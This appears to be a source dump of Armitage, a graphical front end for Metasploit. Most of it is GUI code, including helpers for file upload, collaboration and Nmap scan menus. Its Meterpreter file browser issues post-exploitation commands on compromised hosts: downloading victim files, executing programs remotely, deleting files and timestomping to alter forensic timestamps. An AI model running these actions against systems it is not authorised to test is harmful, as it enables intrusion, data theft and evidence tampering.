[$4: strrep($temp, "\\", "\\\\")];
}
};
$actions["NAMELIST"] = $actions["*FILE*"];
$actions["DICTIONARY"] = $actions["*FILE*"];
$actions["Template"] = $actions["*FILE*"];
$actions["SigningCert"] = $actions["*FILE*"];
$actions["SigningKey"] = $actions["*FILE*"];
$actions["WORDLIST"] = $actions["*FILE*"];
# set up an action to pop up a file chooser for different file type values.
$actions["RHOST"] = {
local('$title $temp');
$title = "Select $1";
$temp = chooseFile(\$title, $dir => ".", $always => "1");
if ($temp !is $null) {
local('$handle');
$handle = openf($temp);
@addresses = readAll($handle);
closef($handle);
[$4: join(", ", @addresses)];
}
};
$actions["RHOSTS"] = $actions["RHOST"];
addMouseListener($table, lambda({
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
local('$type $row $action $change $value');
$value = [$model getSelectedValueFromColumn: $table, "Value"];
$type = [$model getSelectedValueFromColumn: $table, "Option"];
$row = [$model getSelectedRow: $table];
foreach $action => $change ($actions) {
if ($action iswm $type) {
[$change: $type, $value, $row, lambda({;
[$model setValueAtRow: $row, "Value", "$1"];
[$model fireListeners];
}, \$model, \$row)];
}
}
}
}, \$model, \$table, \$actions));
}
sub rankScore {
return %(normal => 1, good => 2, great => 3, excellent => 4)[$1];
}

View File

@ -0,0 +1,423 @@
#
# File Browser (for Meterpreter)
#
import table.*;
import tree.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import javax.swing.filechooser.*;
import javax.swing.text.*;
import java.io.*;
import ui.*;
global('%files %paths %attribs');
%files = ohash();
%paths = ohash();
%attribs = ohasha();
setMissPolicy(%paths, { return [new PlainDocument]; });
setMissPolicy(%files, { return [new GenericTableModel: @("D", "Name", "Size", "Modified", "Mode"), "Name", 128]; });
sub parseListing {
local('$model');
$model = %files[$1];
if ($0 eq "begin") {
[$model clear: 128];
}
else if ($0 eq "end") {
[$model fireListeners];
}
else if ($0 eq "update") {
if ("*Operation failed*" iswm $2) {
showError("$2 $+ \n\nMaybe you don't have permission to access \nthis folder? Press the Refresh button.");
}
else if ($2 ismatch 'Listing: (.*?)' || $2 ismatch 'No entries exist in (.*?)') {
local('$path');
($path) = matched();
[%paths[$1] remove: 0, [%paths[$1] getLength]];
[%paths[$1] insertString: 0, $path, $null];
}
else {
local('$mode $size $type $last $name');
($mode, $size, $type, $last, $name) = split('\s{2,}', $2);
if ($size ismatch '\d+' && $name ne "." && $name ne "..") {
[$model addEntry: %(Name => $name, D => $type, Size => iff($type eq "dir", "", $size), Modified => $last, Mode => $mode)];
}
}
}
}
%handlers["ls"] = &parseListing;
# setupSizeRenderer($table, "columnname")
sub setupSizeRenderer {
[[$1 getColumn: $2] setCellRenderer: [ATable getSizeTableRenderer]];
}
sub listDrives {
local('$queue');
$queue = [new armitage.ConsoleQueue: $client];
[$model clear: 128];
[$queue addCommand: $null, "use post/windows/gather/forensics/enum_drives"];
[$queue addCommand: $null, "set SESSION $1"];
[$queue addCommand: "x", "run"];
[$queue addListener: lambda({
local('@entries $entry $d $s $f');
@entries = parseTextTable($3, @('Device Name.', 'Type.', 'Size .bytes..'));
foreach $entry (@entries) {
$d = $entry['Device Name.'];
if ($d ismatch '....([A-Z]\\:)') {
[$model addEntry: %(Name => matched()[0], D => "dir", Size => "", Modified => "", Mode => "")];
$f = 1;
}
}
[$refresh setEnabled: 1];
[$model fireListeners];
[$queue stop];
}, \$queue, \$model, \$refresh)];
[$refresh setEnabled: 0];
[$queue start];
}
sub createFileBrowser {
local('$table $tree $model $panel $split $scroll1 $sorter $up $text $fsv $chooser $upload $mkdir $refresh $top $setcwd $drives');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$model = %files[$1];
$table = [new ATable: $model];
[$table setShowGrid: 0];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
# file size column
[$sorter setComparator: 2, {
return long($1) <=> long($2);
}];
# last modified column
[$sorter setComparator: 3, {
return convertDate($1) <=> convertDate($2);
}];
[[$table getColumn: "D"] setMaxWidth: 38];
[[$table getColumn: "D"] setCellRenderer: [ATable getFileTypeTableRenderer]];
# make sure subsequent columns do not have an icon associated with them...
[[$table getColumn: "Name"] setCellRenderer: [ATable getSimpleTableRenderer]];
setupSizeRenderer($table, "Size");
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$text = [new ATextField: %paths[$1], "", 80];
[$text addActionListener: lambda({
local('$dir');
$dir = [[$1 getSource] getText];
[$model clear: 128];
[$model fireListeners];
m_cmd($sid, "cd ' $+ $dir $+ '");
m_cmd($sid, "ls");
[[$1 getSource] setText: ""];
}, $sid => $1, \$model)];
# this function should be called before every browser action to keep things in sync.
$setcwd = lambda({
m_cmd($sid, "cd '" . [$text getText] . "'");
}, \$text, $sid => $1, $platform => $2);
addMouseListener($table, lambda({
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
local('$model $sel');
$model = %files[$sid];
$sel = [$model getSelectedValue: $table];
[$model clear: 128];
[$model fireListeners];
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin $sel && "'" !isin [$text getText]) {
if ([$text getText] eq "List Drives") {
m_cmd($sid, "cd ' $+ $sel $+ '");
}
else {
m_cmd($sid, "cd '" . [$text getText] . "\\ $+ $sel $+ '");
}
}
else {
[$setcwd];
m_cmd($sid, "cd \" $+ $sel $+ \"");
}
m_cmd($sid, "ls");
[$1 consume];
}
else if ([$1 isPopupTrigger]) {
local('$popup $model');
$popup = [new JPopupMenu];
$model = %files[$sid];
buildFileBrowserMenu($popup, [$model getSelectedValues: $table], convertAll([$model getRows]), \$sid, \$setcwd, \$text);
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
[$1 consume];
}
}, $sid => $1, \$table, \$setcwd, \$text));
$fsv = [FileSystemView getFileSystemView];
$chooser = [$fsv getSystemIcon: [$fsv getDefaultDirectory]];
$up = [new JButton: $chooser];
#[$up setPressedIcon:
# [new ImageIcon: iconToImage($chooser, 2, 2)]
#];
#[$up setBorder: [BorderFactory createEmptyBorder: 2, 2, 2, 8]];
#[$up setOpaque: 0];
#[$up setContentAreaFilled: 0];
[$up setToolTipText: "Go up one directory"];
[$up addActionListener: lambda({
this('$last');
if ((ticks() - $last) < 500) {
warn("Dropping cd .. -- too fast");
$last = ticks();
return;
}
$last = ticks();
[$model clear: 128];
[$model fireListeners];
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin [$text getText]) {
m_cmd($sid, "cd '" . [$text getText] . "\\..'");
}
else {
[$setcwd];
m_cmd($sid, "cd ..");
}
m_cmd($sid, "ls");
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
# setup the whatever it's called...
$upload = [new JButton: "Upload..."];
[$upload addActionListener: lambda({
local('$file $name');
$file = chooseFile($always => iff($client !is $mclient));
$name = getFileName($file);
if ($file !is $null) {
[$setcwd];
if ($client !is $mclient) {
# some crazy gymnastics here due to how Sleep handles thread-safety...
local('$closure $thread');
$closure = lambda({
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
}, \$sid, \$name, \$file);
$thread = [new armitage.ArmitageThread: $closure];
fork({
$file = uploadBigFile($file);
$closure['$file'] = $file;
[$thread start];
}, \$file, \$thread, \$closure, \$mclient);
}
else {
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
}
}
# refresh?!?
}, $sid => $1, \$setcwd)];
$mkdir = [new JButton: "Make Directory"];
[$mkdir addActionListener: lambda({
local('$name');
$name = ask("Directory name:");
if ($name !is $null) {
[$setcwd];
m_cmd($sid, "mkdir \" $+ $name $+ \"");
m_cmd($sid, "ls");
}
# refresh?
}, $sid => $1, \$setcwd)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
if ([$text getText] eq "List Drives") {
listDrives($sid, \$model, \$refresh);
}
else {
[$setcwd];
m_cmd($sid, "ls");
}
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
$drives = [new JButton: "List Drives"];
[$drives addActionListener: lambda({
listDrives($sid, \$model, \$refresh);
[$text setText: "List Drives"];
}, \$refresh, \$model, \$text, $sid => $1)];
# do the overall layout...
$top = [new JPanel];
[$top setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
[$top setLayout: [new BorderLayout]];
[$top add: $text, [BorderLayout CENTER]];
[$top add: pad($up, 0, 0, 0, 4), [BorderLayout WEST]];
[$panel add: $top, [BorderLayout NORTH]];
if ("*win*" iswm lc(sessionPlatform($1))) {
[$panel add: center($upload, $mkdir, $drives, $refresh), [BorderLayout SOUTH]];
}
else {
[$panel add: center($upload, $mkdir, $refresh), [BorderLayout SOUTH]];
}
[$frame addTab: "Files $1", $panel, $null, "Files " . sessionToHost($1)];
m_cmd($1, "ls");
}
sub convertDate {
if ($1 ismatch '\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d .*') {
return parseDate('yyyy-MM-dd HH:mm:ss Z', $1);
}
else {
return parseDate("EEE MMM dd HH:mm:ss Z yyyy", $1);
}
}
# automagically store timestomp attributes...
%handlers["timestomp"] = {
if ($0 eq "update" && $2 ismatch '([MACE].*?)\s*: (.*)') {
local('$type $value $d');
($type, $value) = matched();
%attribs[["$type" trim]] = formatDate(convertDate($value), 'MM/dd/yyyy HH:mm:ss');
}
};
sub buildFileBrowserMenu {
# ($popup, [$model getSelectedValue: $table], @rows);
# turn @rows into %(file => type)
local('%types');
map(lambda({ %types[$1["Name"]] = $1["D"]; }, \%types), $3);
# need to pass current working directory, selected file, and type
setupMenu($1, "file_browser", @($2, %types, [$text getText]));
item($1, "Download", 'D', lambda({
local('$f $dir @temp $tdir');
@temp = split('\\\\', [$text getText]);
$dir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp)), "\\", "/");
foreach $f ($file) {
[$setcwd];
if (%types[$f] eq "dir") {
$tdir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp), $f), "\\", "/");
m_cmd($sid, "download -r \" $+ $f $+ \" \" $+ $tdir $+ \"");
}
else {
m_cmd($sid, "download \" $+ $f $+ \" \" $+ $dir $+ \"");
}
}
showError("Downloading:\n\n" . join("\n", $file) . "\n\nUse View -> Downloads to see files");
elog("downloaded " . join(", ", $file) . " from " . [$text getText] . " on " . sessionToHost($sid));
}, $file => $2, \$sid, \%types, \$setcwd, \$text));
item($1, "Execute", 'E', lambda({
local('$f $args');
[$setcwd];
$args = ask("Arguments?");
foreach $f ($file) {
if ($args eq "") {
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k");
}
else {
$args = strrep($args, '\\', '\\\\');
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k -a \" $+ $args $+ \"");
}
}
}, $file => $2, \$sid, \$setcwd));
separator($1);
# use timestomp to make sure the date/time stamp is the same. :)
local('$t $key $value');
$t = menu($1, "Timestomp", 'T');
item($t, "Get MACE values", 'G', lambda({
[$setcwd];
m_cmd($sid, "timestomp \" $+ $f $+ \" -v");
}, \$sid, $f => $2[0], \$setcwd));
if (size(%attribs) > 0) {
separator($t);
foreach $key => $value (%attribs) {
item($t, "Set $key to $value", $null, lambda({
local('%switches $s $f');
[$setcwd];
foreach $f ($files) {
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
%switches["Entry Modified"] = '-e';
$s = %switches[$key];
m_cmd($sid, "timestomp \" $+ $f $+ \" $s \" $+ $value $+ \"");
}
m_cmd($sid, "ls");
}, $files => $2, \$sid, $key => "$key", $value => "$value", \$setcwd));
}
separator($t);
item($t, "Set MACE values", 'S', lambda({
local('$f %switches $s $cmd $key $value');
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
%switches["Entry Modified"] = '-e';
[$setcwd];
foreach $f ($files) {
$cmd = "timestomp \" $+ $f $+ \"";
foreach $key => $value (%attribs) {
$s = %switches[$key];
$cmd = "$cmd $s \" $+ $value $+ \"";
}
m_cmd($sid, $cmd);
}
m_cmd($sid, "ls");
}, $files => $2, \$sid, \$setcwd));
}
item($1, "Delete", 'l', lambda({
local('$f');
[$setcwd];
foreach $f ($file) {
if (%types[$f] eq "dir") {
m_cmd($sid, "rmdir \" $+ $f $+ \"");
}
else {
m_cmd($sid, "rm \" $+ $f $+ \"");
}
}
m_cmd($sid, "ls");
}, $file => $2, \$sid, \%types, \$setcwd));
}
# Buttons:
# [upload...] [make directory]
#

View File

@ -0,0 +1,140 @@
#
# Armitage Collaboration Feature... make no mistake, I'm extremely excited about this.
#
import msf.*;
import armitage.*;
import console.*;
sub createEventLogTab {
this('$console $client');
if ($client is $null && $console is $null) {
$client = [new ConsoleClient: $null, $mclient, "armitage.poll", "armitage.push", $null, "", $null];
$console = [new ActivityConsole: $preferences];
logCheck($console, "all", "events");
[$client setWindow: $console];
[$client setEcho: $null];
[$console updatePrompt: "> "];
}
else {
[$console updateProperties: $preferences];
}
[$frame addTab: "Event Log", $console, $null];
}
sub c_client {
# run this thing in its own thread to avoid really stupid deadlock situations
local('$handle');
$handle = connect($1, $2, 5000);
return wait(fork({
local('$client');
$client = newInstance(^RpcConnection, lambda({
writeObject($handle, @_);
return readObject($handle);
}, \$handle));
return [new RpcAsync: $client];
}, \$handle));
}
sub userFingerprint {
return unpack("H*", digest(values(systemProperties(), @("os.name", "user.home", "os.version")), "MD5"))[0];
}
sub setup_collaboration {
local('$nick %r $mclient');
$nick = ask("What is your nickname?");
while (["$nick" trim] eq "") {
$nick = ask("You can't use a blank nickname. What do you want?");
}
$mclient = c_client($3, $4);
%r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326);
if (%r["error"] eq "1") {
showErrorAndQuit(%r["message"]);
}
%r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326);
return $mclient;
}
sub uploadFile {
local('$handle %r $data');
$handle = openf($1);
$data = readb($handle, -1);
closef($handle);
%r = call($mclient, "armitage.upload", getFileName($1), $data);
return %r['file'];
}
sub uploadBigFile {
local('$handle %r $data $file $progress $total $sofar $time $start');
$total = lof($1);
$progress = [new javax.swing.ProgressMonitor: $null, "Upload " . getFileName($1), "Starting upload", 0, lof($1)];
$start = ticks();
$handle = openf($1);
$data = readb($handle, 1024 * 256);
%r = call($mclient, "armitage.upload", getFileName($1), $data);
$sofar += strlen($data);
while $data (readb($handle, 1024 * 256)) {
$time = (ticks() - $start) / 1000.0;
[$progress setProgress: $sofar];
[$progress setNote: "Speed: " . round($sofar / $time) . " bytes/second"];
call($mclient, "armitage.append", getFileName($1), $data);
$sofar += strlen($data);
}
[$progress close];
return %r['file'];
}
sub downloadFile {
local('$file $handle %r $2');
%r = call($mclient, "armitage.download", $1);
$file = iff($2, $2, getFileName($1));
$handle = openf("> $+ $file");
writeb($handle, %r['data']);
closef($handle);
return $file;
}
sub getFileContent {
local('$file $handle %r');
if ($mclient !is $client) {
%r = call($mclient, "armitage.download_nodelete", $1);
return %r['data'];
}
else {
$handle = openf($1);
$file = readb($handle, -1);
closef($handle);
return $file;
}
}
# returns the folder where files should be downloaded to!
sub downloadDirectory {
if ($client is $mclient) {
local('@dirs $start $dir');
$start = dataDirectory();
push(@dirs, "downloads");
addAll(@dirs, @_);
foreach $dir (@dirs) {
if (isWindows()) {
$dir = strrep($dir, "/", "\\", ":", "");
}
$start = getFileProper($start, $dir);
}
return $start;
}
else {
return "downloads/" . join("/", @_);
}
}

View File

@ -0,0 +1,78 @@
#
# Loot browser (not yet complete... on hold until more post/ modules have loot)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub updateDownloadModel {
thread(lambda({
local('$root $files $entry $findf $hosts $host');
if ($client !is $mclient) {
$files = call($mclient, "armitage.downloads");
}
else {
$files = listDownloads(downloadDirectory());
}
[$model clear: 256];
foreach $entry ($files) {
$entry["date"] = rtime($entry["updated_at"] / 1000.0);
[$model addEntry: $entry];
}
[$model fireListeners];
}, \$model));
}
sub createDownloadBrowser {
local('$table $model $panel $refresh $sorter $host $view');
$model = [new GenericTableModel: @("host", "name", "path", "size", "date"), "location", 16];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
setupSizeRenderer($table, "size");
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$sorter setComparator: 0, &compareHosts];
[$sorter setComparator: 4, {
return convertDate($1) <=> convertDate($2);
}];
[$table setRowSorter: $sorter];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
addMouseListener($table, lambda({
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
showLoot(\$model, \$table);
}
}, \$model, \$table));
$view = [new JButton: "View"];
[$view addActionListener: lambda({
showLoot(\$model, \$table);
}, \$model, \$table)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
updateDownloadModel(\$model);
}, \$model)];
updateDownloadModel(\$model);
[$panel add: center($view, $refresh), [BorderLayout SOUTH]];
[$frame addTab: "Downloads", $panel, $null];
}

View File

@ -0,0 +1,518 @@
#
# This file defines the main GUI and loads additional modules
#
debug(7 | 34);
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.swing.table.*;
import javax.swing.tree.*;
import javax.imageio.*;
import java.awt.*;
import java.awt.image.*;
import java.awt.event.*;
import java.awt.datatransfer.*;
import graph.*;
import armitage.*;
import table.*;
import ui.*;
# Create a new menu, returns the menu, you have to attach it to something
# menu([$parent], "Name", 'Accelerator')
sub menu {
local('$menu');
if (size(@_) == 2) {
$menu = [new JMenu: $1];
if ($2 !is $null) {
[$menu setMnemonic: casti(charAt($2, 0), 'c')];
}
}
else {
$menu = invoke(&menu, sublist(@_, 1));
[$1 add: $menu];
}
return $menu;
}
sub dynmenu {
local('$menu');
$menu = [new DynamicMenu: $2];
[$menu setMnemonic: casti(charAt($3, 0), 'c')];
[$menu setHandler: $4];
[$1 add: $menu];
return $menu;
}
# create a separator in the parent menu
sub separator {
[$1 addSeparator];
}
# create a menu item, attaches it to the specified parent (based on the Name)
# item($parent, "Name", 'accelerator', &listener)
sub item {
local('$item');
$item = [new JMenuItem: $2];
if ($3 !is $null) {
[$item setMnemonic: casti(charAt($3, 0), 'c')];
}
if ($4 is $null) { warn("Incomplete: " . @_); }
[$item addActionListener: lambda({
invoke($function);
}, $function => $4)];
[$1 add: $item];
return $item;
}
sub dispatchEvent {
if ([SwingUtilities isEventDispatchThread]) {
[$1];
}
else {
[SwingUtilities invokeLater: $1];
}
}
sub showError {
dispatchEvent(lambda({
[JOptionPane showMessageDialog: $frame, $message];
}, $message => $1));
}
sub showErrorAndQuit {
[JOptionPane showMessageDialog: $frame, $1];
[System exit: 0];
}
sub ask {
local('$2');
return [JOptionPane showInputDialog: "$1", "$2"];
}
# askYesNo("title", "text")
sub askYesNo {
return [JOptionPane showConfirmDialog: $null, $1, $2, [JOptionPane YES_NO_OPTION]];
}
sub chooseFile {
local('$fc $file $title $sel $dir $multi $always $dirsonly');
if ($REMOTE && $always is $null) {
if ($client !is $mclient) {
local('$file');
$file = chooseFile(\$title, \$file, \$sel, \$dir, \$dirsonly, \$multi, \$fc, $always => 1);
if (-exists $file) {
warn("Uploading $file");
return uploadFile($file);
}
return "";
}
else {
return ask("Please type a file name:");
}
}
$fc = [new JFileChooser];
if ($title !is $null) {
[$fc setDialogTitle: $title];
}
if ($sel !is $null) {
[$fc setSelectedFile: [new java.io.File: $sel]];
}
if ($dir !is $null) {
[$fc setCurrentDirectory: [new java.io.File: $dir]];
}
if ($multi !is $null) {
[$fc setMultiSelectionEnabled: 1];
}
if ($dirsonly !is $null) {
[$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]];
}
[$fc showOpenDialog: $frame];
if ($multi) {
return [$fc getSelectedFiles];
}
else {
$file = [$fc getSelectedFile];
if ($file !is $null) {
if (-exists $file) {
return $file;
}
showError("$file does not exist!");
}
}
}
sub saveFile2 {
local('$fc $file $sel');
$fc = [new JFileChooser];
if ($sel !is $null) {
[$fc setSelectedFile: [new java.io.File: $sel]];
}
[$fc showSaveDialog: $frame];
$file = [$fc getSelectedFile];
if ($file !is $null) {
return $file;
}
}
sub saveFile {
local('$fc $file');
$fc = [new JFileChooser];
[$fc showSaveDialog: $frame];
$file = [$fc getSelectedFile];
if ($file !is $null) {
local('$ihandle $data $ohandle');
$ihandle = openf($1);
$ohandle = openf("> $+ $file");
while $data (readb($ihandle, 8192)) {
writeb($ohandle, $data);
}
closef($ihandle);
closef($ohandle);
}
}
# label_for("text", width, component)
sub label_for {
local('$panel $label $size');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
$label = [new JLabel: $1];
$size = [$label getPreferredSize];
[$label setPreferredSize: [new Dimension: $2, [$size getHeight]]];
[$panel add: $label];
[$panel add: $3];
if (size(@_) >= 4) {
[$panel add: $4];
}
return $panel;
}
sub center {
local('$panel $c');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout CENTER]]];
foreach $c (@_) {
[$panel add: $c];
}
return $panel;
}
sub left {
local('$panel $c');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
foreach $c (@_) {
[$panel add: $c];
}
return $panel;
}
sub dialog {
local('$dialog $4');
$dialog = [new JDialog: $frame, $1];
[$dialog setSize: $2, $3];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
return $dialog;
}
sub window {
local('$dialog $4');
$dialog = [new JFrame: $1];
[$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
[$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]];
[$dialog setSize: $2, $3];
[$dialog setLayout: [new BorderLayout]];
return $dialog;
}
# overlay_images(@("image.png", "image2.png", "..."))
# constructs an image by overlaying all the specified images over eachother.
# this function caches the result so each combination is only created once.
sub overlay_images {
this('%cache');
if (join(';', $1) in %cache) {
return %cache[join(';', $1)];
}
local('$file $image $buffered $graphics');
$buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]];
$graphics = [$buffered createGraphics];
foreach $file ($1) {
$image = [ImageIO read: resource($file)];
[$graphics drawImage: $image, 0, 0, 1000, 776, $null];
}
$buffered = [$buffered getScaledInstance: 250 / $scale, 194 / $scale, [Image SCALE_SMOOTH]];
%cache[join(';', $1)] = $buffered;
return $buffered;
}
sub iconToImage {
if ($1 isa ^ImageIcon) {
return [$1 getImage];
}
else {
local('$buffered $g');
$buffered = [new BufferedImage: [$1 getIconWidth], [$1 getIconHeight], [BufferedImage TYPE_INT_ARGB]];
$g = [$buffered createGraphics];
[$1 paintIcon: $null, $g, $2, $3];
[$g dispose];
return $buffered;
}
}
sub imageToImage {
local('$buffered $g');
$buffered = [new BufferedImage: [$1 getWidth: $null], [$1 getHeight: $null], [BufferedImage TYPE_INT_ARGB]];
$g = [$buffered createGraphics];
[$g drawImage: $1, 0, 0, [$1 getWidth: $null], [$1 getHeight: $null], $null];
[$g dispose];
return $buffered;
}
sub select {
local('$combo');
$combo = [new JComboBox: cast($1, ^String)];
[$combo setSelectedItem: $2];
return $combo;
}
# buildTreeNodes(@)
sub buildTree {
local('%nodes $entry $parent $path');
foreach $entry ($1) {
$parent = %nodes;
foreach $path (split('\\/', $entry)) {
if ($path !in $parent) {
$parent[$path] = %();
}
$parent = $parent[$path];
}
}
return %nodes;
}
# treeNodes($1, buildTree(@(...)))
sub treeNodes {
local('$temp $p');
if ($1 is $null) {
$1 = [new DefaultMutableTreeNode: "modules"];
[$1 setAllowsChildren: 1];
}
foreach $temp (sorta(keys($2))) {
$p = [new DefaultMutableTreeNode: $temp];
[$p setAllowsChildren: 1];
if (size($2[$temp]) > 0) {
treeNodes($p, $2[$temp]);
}
[$1 add: $p];
}
return $1;
}
sub wrapComponent {
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: $1, [BorderLayout CENTER]];
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $2, $2, $2]];
return $panel;
}
sub setLookAndFeel {
local('$laf');
foreach $laf ([UIManager getInstalledLookAndFeels]) {
if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) {
[UIManager setLookAndFeel: [$laf getClassName]];
}
}
}
sub thread {
local('$thread');
$thread = [new ArmitageThread: $1];
[$thread start];
}
sub compareHosts {
if ($1 eq "unknown") {
return compareHosts("0.0.0.0", $2);
}
else if ($2 eq "unknown") {
return compareHosts($1, "0.0.0.0");
}
else {
return [Route ipToLong: $1] <=> [Route ipToLong: $2];
}
}
# tells table to save any edited cells before going forward...
sub syncTable {
if ([$1 isEditing]) {
[[$1 getCellEditor] stopCellEditing];
}
}
sub isWindows {
return iff("*Windows*" iswm systemProperties()["os.name"], 1);
}
sub selected {
return [$2 getSelectedValueFromColumn: $1, $3];
}
# ($table, $model) = setupTable("lead", @rows)
sub setupTable {
local('$table $model $sorter $row');
$model = [new GenericTableModel: $2, $1, 8];
foreach $row ($3) {
[$model _addEntry: $row];
}
$table = [new ATable: $model];
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$sorter = [new TableRowSorter: $model];
[$table setRowSorter: $sorter];
return @($table, $model);
}
# creates a list dialog,
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
sub quickListDialog {
local('$dialog $panel $table $row $model $button $sorter $after $a');
$dialog = dialog($1, $width, $height);
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
($table, $model) = setupTable($3[0], sublist($3, 1), $4);
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$button = [new JButton: $2];
[$button addActionListener: lambda({
[$callback : [$model getSelectedValueFromColumn: $table, $lead]];
[$dialog setVisible: 0];
}, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])];
local('$south');
$south = [new JPanel];
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
if ($after !is $null) {
foreach $a ($after) {
[$south add: $a];
}
}
[$south add: center($button)];
[$panel add: $south, [BorderLayout SOUTH]];
[$dialog add: $panel, [BorderLayout CENTER]];
[$dialog show];
[$dialog setVisible: 1];
}
sub tableRenderer {
return [ATable getDefaultTableRenderer: $1, $2];
}
sub gotoFile {
return lambda({
local('$exception');
try {
[[Desktop getDesktop] open: $f];
}
catch $exception {
showError("Could not open $f $+ \n $+ $exception");
}
}, $f => $1);
}
sub isShift {
return iff(([$1 getModifiers] & [ActionEvent SHIFT_MASK]) == [ActionEvent SHIFT_MASK], 1);
}
inline safetyCheck {
local('$__time');
if ($__time == 0) {
$__time = ticks();
}
if ((ticks() - $__time) > 250) {
yield 50;
$__time = ticks();
}
}
sub addMouseListener {
[$1 addMouseListener: [new SafeMouseListener: $2]];
}
sub pad {
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: $1, [BorderLayout CENTER]];
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $3, $4, $5]];
return $panel;
}
sub setClipboard {
local('$sel $cb');
$sel = [new StringSelection: $1];
$cb = [[Toolkit getDefaultToolkit] getSystemSelection];
if ($cb !is $null) {
[$cb setContents: $sel, $null];
}
$cb = [[Toolkit getDefaultToolkit] getSystemClipboard];
if ($cb !is $null) {
[$cb setContents: $sel, $null];
}
}
sub setupMenu {
# do nothing for now... this is for something coming later.
}
sub installMenu {
# do nothing for now... this is for something coming later.
}

View File

@ -0,0 +1,104 @@
import msf.*;
import javax.swing.*;
import javax.swing.event.*;
import java.awt.*;
import java.awt.event.*;
sub addHostDialog {
local('$dialog $label $text $finish $button');
$dialog = [new JDialog: $frame, "Add Hosts", 0];
[$dialog setSize: 320, 240];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
$label = [new JLabel: "Enter one host/line:"];
$text = [new JTextArea];
$finish = [new JPanel];
[$finish setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$button = [new JButton: "Add"];
[$finish add: $button];
[$button addActionListener: lambda({
local('@hosts');
@hosts = split("[\n\s]", [$text getText]);
cmd_safe("hosts -a " . join(" ", @hosts), lambda({
showError("Added $x host" . iff($x != 1, "s"));
elog("added $x host" . iff($x != 1, "s"));
}, $x => size(@hosts)));
[$dialog setVisible: 0];
}, \$text, \$dialog)];
[$dialog add: $label, [BorderLayout NORTH]];
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
[$dialog add: $finish, [BorderLayout SOUTH]];
[$dialog setVisible: 1];
}
sub host_items {
local('$i $j $k');
item($1, "Import Hosts", 'I', &importHosts);
item($1, "Add Hosts...", 'A', &addHostDialog);
setupMenu($1, "hosts_top", @());
separator($1);
$j = menu($1, "Nmap Scan", 'S');
setupMenu($j, "hosts_nmap", @());
item($j, "Intense Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -A -v -n"));
item($j, "Intense Scan + UDP", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v"));
item($j, "Intense Scan, all TCP ports", $null, createNmapFunction("--min-hostgroup 96 -p 1-65535 -n -T4 -A -v"));
item($j, "Intense Scan, no ping", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -A -v -Pn"));
item($j, "Ping Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -sn"));
item($j, "Quick Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -F"));
item($j, "Quick Scan (OS detect)", $null, createNmapFunction("--min-hostgroup 96 -sV -n -T4 -O -F --version-light"));
item($j, "Comprehensive", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53"));
item($1, "MSF Scans...", "M", {
